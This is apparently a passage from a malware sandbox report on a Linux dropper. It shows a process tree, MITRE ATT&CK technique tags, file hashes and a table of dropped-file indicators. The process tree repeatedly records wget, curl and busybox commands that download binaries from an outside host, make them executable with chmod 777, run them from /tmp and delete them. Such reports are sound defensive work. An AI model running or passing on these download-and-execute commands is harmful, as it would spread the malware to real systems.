  rm Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/chmod
  chmod 777 QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  ./QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  ./Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:976
- /bin/chmod
  chmod 777 trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  ./trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  ./HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:985
- /bin/rm
  rm HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
  2⤵
  - System Network Configuration Discovery
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  ./bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  ./91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:999
- /bin/rm
  rm 91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
  2⤵
  - System Network Configuration Discovery
  PID:1000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC

Path /tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	732	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	739	bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	766	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA
/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	798	F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	824	BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	842	mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	852	bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	859	RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	866	4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	873	v0pEtWKeezpmnamk32qzwknotYpeEPG15T
/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	880	Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	887	QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	894	Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	901	trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
/tmp/F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X	908	F2E3PW9Xam65hAYU2VhEahftNGvC3MJB8X
/tmp/BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS	915	BVyy0gmPiygZttYTtZ24IDoNmGhm8ey2GS
/tmp/mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7	922	mECfE1p3ZppXwWvn7ZBTlrtQhRfbehV7x7
/tmp/bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC	929	bzDtIUc0Od3oCm871gwrfUrsamHmSRjROC
/tmp/RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA	936	RB1jkQxr1owg2O8MpUVd9h01ZiiNNjCSBA
/tmp/4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7	943	4pXzanMFPSJeb0nRLzUMF4zz0xVVHfdZo7
/tmp/v0pEtWKeezpmnamk32qzwknotYpeEPG15T	950	v0pEtWKeezpmnamk32qzwknotYpeEPG15T
/tmp/Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp	957	Gk6vlb54CKE1CiKp867qX2EAT42l14QaUp
/tmp/QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML	964	QHNVLO2DcsD3DUS2C7Hy5YqBuY7gV1ZgML
/tmp/Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C	971	Ocay2c0MjIbEHTV020NvJtm1hNLCQwQN8C
/tmp/trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l	978	trX1Vqa5lyAw9XVwFCBbtmkKcAZlIqhn2l
/tmp/HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC	985	HGbCs5vzMb9VssQWDlhuiP9eJaaM9RWkNC
/tmp/bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW	992	bn5GmLr2fY5ILOBKnSDJL6SF26XnrOUNLW
/tmp/91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA	999	91BXAIPpxgXJDClwcTlf0Brm1lW6nhhWpA